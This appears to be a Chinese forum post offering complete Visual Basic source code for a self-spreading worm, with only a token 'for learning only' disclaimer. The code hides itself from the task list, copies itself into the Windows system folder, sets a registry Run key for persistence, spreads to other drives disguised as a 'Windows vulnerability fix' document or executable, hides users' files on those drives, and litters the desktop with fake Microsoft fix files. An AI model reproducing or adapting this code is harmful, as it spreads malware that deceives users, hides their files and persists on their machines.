注：仅供大家学习！不可用于不正当渠道！
以下是源代码，需要一定VB基础的人才能看懂！
Private n盘
Private n路径1$
Private n路径2$
Private Sub Command1_Click()
End
End Sub
Private Sub Form_Load()
App.TaskVisible = False
Randomize
If Dir("c:\windows\system\Hii", vbNormal) = "" Then
''''''''''''''''''''''''''''''''''''''''''''''''''''复制到C盘
If Dir("c:\windows\system\Hii.exe", vbNormal) = "" Then
f = App.Path + "\" + App.EXEName + ".exe"
d = "C:\WINDOWS\system\Hii.exe"
FileCopy f, d
End If
''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''添加到启动注册表
Dim Reg
Set Reg = CreateObject("wscript.Shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Hii", "C:\WINDOWS\system\Hii.exe"
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''判断盘符数量
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Windows漏洞修复.doc"
Open "c:\windows\system\Hii" For Output As #1
Write #1, 1
Close #1
FileCopy App.Path + "\" + App.EXEName + ".exe", "D:\Windows漏洞修复.doc"
Open "c:\windows\system\Hii" For Output As #1
Write #1, 2
Close #1
FileCopy App.Path + "\" + App.EXEName + ".exe", "E:\Windows漏洞修复.doc"
Open "c:\windows\system\Hii" For Output As #1
Write #1, 3
Close #1
FileCopy App.Path + "\" + App.EXEName + ".exe", "F:\Windows漏洞修复.doc"
Open "c:\windows\system\Hii" For Output As #2
Write #2, 4
Close #2
FileCopy App.Path + "\" + App.EXEName + ".exe", "G:\Windows漏洞修复.doc"
Open "c:\windows\system\Hii" For Output As #3
Write #3, 5
Close #3
FileCopy App.Path + "\" + App.EXEName + ".exe", "H:\Windows漏洞修复.doc"
Open "c:\windows\system\Hii" For Output As #4
Write #4, 6
Close #4
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Else
'''''''''''''''''''''''''''''''''''''''''添加到启动注册表
Set Reg = CreateObject("wscript.Shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Hii", "C:\WINDOWS\system\Hii.exe"
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Open "c:\windows\system\Hii" For Input As #2
Input #2, n盘
If n盘 = 1 Then n路径1$ = "E:\": n路径2$ = "F:\"
If n盘 = 2 Then n路径1$ = "F:\": n路径2$ = "G:\"
If n盘 = 3 Then n路径1$ = "G:\": n路径2$ = "H:\"
If n盘 = 4 Then n路径1$ = "H:\": n路径2$ = "I:\"
If n盘 = 5 Then n路径1$ = "I:\": n路径2$ = "J:\"
If n盘 = 6 Then n路径1$ = "J:\": n路径2$ = "K:\"
Text1.Text = Str(n盘) + "个 " + n路径1$ + n路径2$
Timer传播.Enabled = True
Timer发作.Enabled = True
End If
End Sub
Private Sub Timer传播_Timer()
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径二是否存在
If Dir(n路径2$, vbDirectory) <> "" Then
myfile = Dir(n路径2$, vbNormal)
Do While myfile <> ""
If n路径2$ + myfile <> n路径2$ + "Windows漏洞修复.exe" Then SetAttr n路径2$ + myfile, vbHidden
myfile = Dir
Loop
If Dir(n路径2$ + "Windows漏洞修复.exe", vbNormal) = "" Then
f = App.Path + "\" + App.EXEName + ".exe"
d = n路径2$ + "Windows漏洞修复.exe"
FileCopy f, d
Text1.Text = "ok"
GoTo 100
End If
End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径1是否存在
If Dir(n路径1$, vbDirectory) <> "" Then
myfile = Dir(n路径1$, vbNormal)
Do While myfile <> ""
If n路径1$ + myfile <> n路径1$ + "Windows漏洞修复.exe" Then SetAttr n路径1$ + myfile, vbHidden
myfile = Dir
Loop
If Dir(n路径1$ + "Windows漏洞修复.exe", vbNormal) = "" Then
f = App.Path + "\" + App.EXEName + ".exe"
d = n路径1$ + "Windows漏洞修复.exe"
FileCopy f, d
Text1.Text = "ok"
End If
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
100
End Sub
Private Sub Timer发作_Timer()
nName$ = Str(Fix(Rnd * 100))
If Dir("C:\Documents and Settings\All Users\桌面\" + "微软" + nName$ + "号.ppt", vbNormal) = "" Then
Open "C:\Documents and Settings\All Users\桌面\" + "微软" + nName$ + "号.ppt" For Output As #3
Write #3, "微软漏洞修复，请稍候..."
Close #3
End If
End Sub
最新评论